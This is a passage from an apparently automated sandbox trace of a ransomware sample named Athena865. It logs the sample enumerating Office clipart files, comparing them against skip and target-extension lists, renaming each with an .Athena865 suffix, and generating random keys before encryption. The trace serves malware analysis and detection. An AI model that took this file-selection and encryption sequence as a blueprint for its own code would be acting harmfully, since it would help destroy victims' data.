hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.431] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.431] CloseHandle (hObject=0x154) returned 1 [0128.431] CloseHandle (hObject=0x17c) returned 1 [0128.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.432] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2=".") returned 1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="..") returned 1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="windows") returned -1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="bootmgr") returned 1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="temp") returned -1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="pagefile.sys") returned -1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="boot") returned 1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="ids.txt") returned 1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="ntuser.dat") returned -1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="perflogs") returned -1 [0128.432] lstrcmpiW (lpString1="J0227419.JPG", lpString2="MSBuild") returned -1 [0128.432] lstrlenW (lpString="J0227419.JPG") returned 12 [0128.432] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0227419.JPG" | out: lpString1="J0227419.JPG") returned="J0227419.JPG" [0128.432] lstrlenW (lpString="J0227419.JPG") returned 12 [0128.432] lstrlenW (lpString="Athena865") returned 9 [0128.432] lstrcmpiW (lpString1="27419.JPG", lpString2="Athena865") returned -1 [0128.433] lstrlenW (lpString=".dll") returned 4 [0128.433] lstrcmpiW (lpString1="J0227419.JPG", lpString2=".dll") returned 1 [0128.433] lstrlenW (lpString=".lnk") returned 4 [0128.433] lstrcmpiW (lpString1="J0227419.JPG", lpString2=".lnk") returned 1 [0128.433] lstrlenW (lpString=".ini") returned 4 [0128.433] lstrcmpiW (lpString1="J0227419.JPG", lpString2=".ini") returned 1 [0128.433] lstrlenW (lpString=".sys") returned 4 [0128.433] lstrcmpiW (lpString1="J0227419.JPG", lpString2=".sys") returned 1 [0128.433] lstrlenW (lpString="J0227419.JPG") returned 12 [0128.433] lstrlenW (lpString="bak") returned 3 [0128.433] lstrcmpiW (lpString1="JPG", lpString2="bak") returned 1 [0128.433] lstrlenW (lpString="ba_") returned 3 [0128.433] lstrcmpiW (lpString1="JPG", lpString2="ba_") returned 1 [0128.433] lstrlenW (lpString="dbb") returned 3 [0128.433] lstrcmpiW (lpString1="JPG", lpString2="dbb") returned 1 [0128.433] lstrlenW (lpString="vmdk") returned 4 [0128.433] lstrcmpiW (lpString1=".JPG", lpString2="vmdk") returned -1 [0128.433] lstrlenW (lpString="rar") returned 3 [0128.433] lstrcmpiW (lpString1="JPG", lpString2="rar") returned -1 [0128.433] lstrlenW (lpString="zip") returned 3 [0128.433] lstrcmpiW (lpString1="JPG", lpString2="zip") returned -1 [0128.433] lstrlenW (lpString="tgz") returned 3 [0128.433] lstrcmpiW (lpString1="JPG", lpString2="tgz") returned -1 [0128.433] lstrlenW (lpString="vbox") returned 4 [0128.433] lstrcmpiW (lpString1=".JPG", lpString2="vbox") returned -1 [0128.433] lstrlenW (lpString="vdi") returned 3 [0128.433] lstrcmpiW (lpString1="JPG", lpString2="vdi") returned -1 [0128.433] lstrlenW (lpString="vhd") returned 3 [0128.434] lstrcmpiW (lpString1="JPG", lpString2="vhd") returned -1 [0128.434] lstrlenW (lpString="vhdx") returned 4 [0128.434] lstrcmpiW (lpString1=".JPG", lpString2="vhdx") returned -1 [0128.434] lstrlenW (lpString="avhd") returned 4 [0128.434] lstrcmpiW (lpString1=".JPG", lpString2="avhd") returned -1 [0128.434] lstrlenW (lpString="db") returned 2 [0128.434] lstrcmpiW (lpString1="PG", lpString2="db") returned 1 [0128.434] lstrlenW (lpString="db2") returned 3 [0128.434] lstrcmpiW (lpString1="JPG", lpString2="db2") returned 1 [0128.434] lstrlenW (lpString="db3") returned 3 [0128.434] lstrcmpiW (lpString1="JPG", lpString2="db3") returned 1 [0128.434] lstrlenW (lpString="dbf") returned 3 [0128.434] lstrcmpiW (lpString1="JPG", lpString2="dbf") returned 1 [0128.434] lstrlenW (lpString="mdf") returned 3 [0128.434] lstrcmpiW (lpString1="JPG", lpString2="mdf") returned -1 [0128.434] lstrlenW (lpString="mdb") returned 3 [0128.434] lstrcmpiW (lpString1="JPG", lpString2="mdb") returned -1 [0128.434] lstrlenW (lpString="sql") returned 3 [0128.434] lstrcmpiW (lpString1="JPG", lpString2="sql") returned -1 [0128.434] lstrlenW (lpString="sqlite") returned 6 [0128.434] lstrcmpiW (lpString1="19.JPG", lpString2="sqlite") returned -1 [0128.434] lstrlenW (lpString="sqlite3") returned 7 [0128.434] lstrcmpiW (lpString1="419.JPG", lpString2="sqlite3") returned -1 [0128.434] lstrlenW (lpString="sqlitedb") returned 8 [0128.434] lstrcmpiW (lpString1="7419.JPG", lpString2="sqlitedb") returned -1 [0128.434] lstrlenW (lpString="xml") returned 3 [0128.434] lstrcmpiW (lpString1="JPG", lpString2="xml") returned -1 [0128.435] lstrlenW (lpString="$er") returned 3 [0128.435] lstrcmpiW (lpString1="JPG", lpString2="$er") returned 1 [0128.435] lstrlenW (lpString="4dd") returned 3 [0128.435] lstrcmpiW (lpString1="JPG", lpString2="4dd") returned 1 [0128.435] lstrlenW (lpString="4dl") returned 3 [0128.435] lstrcmpiW (lpString1="JPG", lpString2="4dl") returned 1 [0128.435] lstrlenW (lpString="^^^") returned 3 [0128.435] lstrcmpiW (lpString1="JPG", lpString2="^^^") returned 1 [0128.435] lstrlenW (lpString="abs") returned 3 [0128.435] lstrcmpiW (lpString1="JPG", lpString2="abs") returned 1 [0128.435] lstrlenW (lpString="abx") returned 3 [0128.435] lstrcmpiW (lpString1="JPG", lpString2="abx") returned 1 [0128.435] lstrlenW (lpString="accdb") returned 5 [0128.435] lstrcmpiW (lpString1="9.JPG", lpString2="accdb") returned -1 [0128.435] lstrlenW (lpString="accdc") returned 5 [0128.435] lstrcmpiW (lpString1="9.JPG", lpString2="accdc") returned -1 [0128.435] lstrlenW (lpString="accde") returned 5 [0128.435] lstrcmpiW (lpString1="9.JPG", lpString2="accde") returned -1 [0128.435] lstrlenW (lpString="accdr") returned 5 [0128.435] lstrcmpiW (lpString1="9.JPG", lpString2="accdr") returned -1 [0128.435] lstrlenW (lpString="accdt") returned 5 [0128.435] lstrcmpiW (lpString1="9.JPG", lpString2="accdt") returned -1 [0128.435] lstrlenW (lpString="accdw") returned 5 [0128.435] lstrcmpiW (lpString1="9.JPG", lpString2="accdw") returned -1 [0128.435] lstrlenW (lpString="accft") returned 5 [0128.435] lstrcmpiW (lpString1="9.JPG", lpString2="accft") returned -1 [0128.435] lstrlenW (lpString="adb") returned 3 [0128.435] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0128.436] lstrlenW (lpString="adb") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0128.436] lstrlenW (lpString="ade") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="ade") returned 1 [0128.436] lstrlenW (lpString="adf") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="adf") returned 1 [0128.436] lstrlenW (lpString="adn") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="adn") returned 1 [0128.436] lstrlenW (lpString="adp") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="adp") returned 1 [0128.436] lstrlenW (lpString="alf") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="alf") returned 1 [0128.436] lstrlenW (lpString="ask") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="ask") returned 1 [0128.436] lstrlenW (lpString="btr") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="btr") returned 1 [0128.436] lstrlenW (lpString="cat") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="cat") returned 1 [0128.436] lstrlenW (lpString="cdb") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="cdb") returned 1 [0128.436] lstrlenW (lpString="ckp") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="ckp") returned 1 [0128.436] lstrlenW (lpString="cma") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="cma") returned 1 [0128.436] lstrlenW (lpString="cpd") returned 3 [0128.436] lstrcmpiW (lpString1="JPG", lpString2="cpd") returned 1 [0128.436] lstrlenW (lpString="dacpac") returned 6 [0128.437] lstrcmpiW (lpString1="19.JPG", lpString2="dacpac") returned -1 [0128.437] lstrlenW (lpString="dad") returned 3 [0128.437] lstrcmpiW (lpString1="JPG", lpString2="dad") returned 1 [0128.437] lstrlenW (lpString="dadiagrams") returned 10 [0128.437] lstrcmpiW (lpString1="227419.JPG", lpString2="dadiagrams") returned -1 [0128.437] lstrlenW (lpString="daschema") returned 8 [0128.437] lstrcmpiW (lpString1="7419.JPG", lpString2="daschema") returned -1 [0128.437] lstrlenW (lpString="db-journal") returned 10 [0128.437] lstrcmpiW (lpString1="227419.JPG", lpString2="db-journal") returned -1 [0128.437] lstrlenW (lpString="db-shm") returned 6 [0128.437] lstrcmpiW (lpString1="19.JPG", lpString2="db-shm") returned -1 [0128.437] lstrlenW (lpString="db-wal") returned 6 [0128.437] lstrcmpiW (lpString1="19.JPG", lpString2="db-wal") returned -1 [0128.437] lstrlenW (lpString="dbc") returned 3 [0128.437] lstrcmpiW (lpString1="JPG", lpString2="dbc") returned 1 [0128.437] lstrlenW (lpString="dbs") returned 3 [0128.437] lstrcmpiW (lpString1="JPG", lpString2="dbs") returned 1 [0128.437] lstrlenW (lpString="dbt") returned 3 [0128.437] lstrcmpiW (lpString1="JPG", lpString2="dbt") returned 1 [0128.437] lstrlenW (lpString="dbv") returned 3 [0128.437] lstrcmpiW (lpString1="JPG", lpString2="dbv") returned 1 [0128.437] lstrlenW (lpString="dbx") returned 3 [0128.437] lstrcmpiW (lpString1="JPG", lpString2="dbx") returned 1 [0128.437] lstrlenW (lpString="dcb") returned 3 [0128.437] lstrcmpiW (lpString1="JPG", lpString2="dcb") returned 1 [0128.438] lstrcmpiW (lpString1="JPG", lpString2="dct") returned 1 [0128.438] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.Athena865") returned 73 [0128.438] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.athena865"), dwFlags=0x1) returned 1 [0128.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.439] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35542) returned 1 [0128.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.440] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.440] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.440] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.441] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8de0, lpName=0x0) returned 0x154 [0128.442] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8de0) returned 0x100000 [0128.444] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.445] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.445] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.446] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.446] CloseHandle (hObject=0x154) returned 1 [0128.446] CloseHandle (hObject=0x17c) returned 1 [0128.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.447] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2=".") returned 1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="..") returned 1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="windows") returned -1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="bootmgr") returned 1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="temp") returned -1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="pagefile.sys") returned -1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="boot") returned 1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="ids.txt") returned 1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="ntuser.dat") returned -1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="perflogs") returned -1 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2="MSBuild") returned -1 [0128.447] lstrlenW (lpString="J0227558.JPG") returned 12 [0128.447] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0227558.JPG" | out: lpString1="J0227558.JPG") returned="J0227558.JPG" [0128.447] lstrlenW (lpString="J0227558.JPG") returned 12 [0128.447] lstrlenW (lpString="Athena865") returned 9 [0128.447] lstrcmpiW (lpString1="27558.JPG", lpString2="Athena865") returned -1 [0128.447] lstrlenW (lpString=".dll") returned 4 [0128.447] lstrcmpiW (lpString1="J0227558.JPG", lpString2=".dll") returned 1 [0128.448] lstrlenW (lpString=".lnk") returned 4 [0128.448] lstrcmpiW (lpString1="J0227558.JPG", lpString2=".lnk") returned 1 [0128.448] lstrlenW (lpString=".ini") returned 4 [0128.448] lstrcmpiW (lpString1="J0227558.JPG", lpString2=".ini") returned 1 [0128.448] lstrlenW (lpString=".sys") returned 4 [0128.448] lstrcmpiW (lpString1="J0227558.JPG", lpString2=".sys") returned 1 [0128.448] lstrlenW (lpString="J0227558.JPG") returned 12 [0128.448] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.Athena865") returned 73 [0128.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.athena865"), dwFlags=0x1) returned 1 [0128.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.450] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=58089) returned 1 [0128.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.450] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.451] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.451] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.451] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe5f0, lpName=0x0) returned 0x154 [0128.452] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe5f0) returned 0x100000 [0128.455] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.456] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.456] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.457] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.457] CloseHandle (hObject=0x154) returned 1 [0128.457] CloseHandle (hObject=0x17c) returned 1 [0128.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.458] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2=".") returned 1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2="..") returned 1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2="windows") returned -1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2="bootmgr") returned 1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2="temp") returned -1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2="pagefile.sys") returned -1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2="boot") returned 1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2="ids.txt") returned 1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2="ntuser.dat") returned -1 [0128.458] lstrcmpiW (lpString1="J0228823.WMF", lpString2="perflogs") returned -1 [0128.459] lstrcmpiW (lpString1="J0228823.WMF", lpString2="MSBuild") returned -1 [0128.459] lstrlenW (lpString="J0228823.WMF") returned 12 [0128.459] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0228823.WMF" | out: lpString1="J0228823.WMF") returned="J0228823.WMF" [0128.459] lstrlenW (lpString="J0228823.WMF") returned 12 [0128.459] lstrlenW (lpString="Athena865") returned 9 [0128.459] lstrcmpiW (lpString1="28823.WMF", lpString2="Athena865") returned -1 [0128.459] lstrlenW (lpString=".dll") returned 4 [0128.459] lstrcmpiW (lpString1="J0228823.WMF", lpString2=".dll") returned 1 [0128.459] lstrlenW (lpString=".lnk") returned 4 [0128.459] lstrcmpiW (lpString1="J0228823.WMF", lpString2=".lnk") returned 1 [0128.459] lstrlenW (lpString=".ini") returned 4 [0128.459] lstrcmpiW (lpString1="J0228823.WMF", lpString2=".ini") returned 1 [0128.459] lstrlenW (lpString=".sys") returned 4 [0128.459] lstrcmpiW (lpString1="J0228823.WMF", lpString2=".sys") returned 1 [0128.459] lstrlenW (lpString="J0228823.WMF") returned 12 [0128.459] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.Athena865") returned 73 [0128.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.athena865"), dwFlags=0x1) returned 1 [0128.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.460] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26022) returned 1 [0128.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.461] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.462] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.462] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.462] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x68b0, lpName=0x0) returned 0x154 [0128.464] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x68b0) returned 0x100000 [0128.468] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.473] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.474] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.475] RtlAllocateHeap (HeapHandle=0x4f0000, 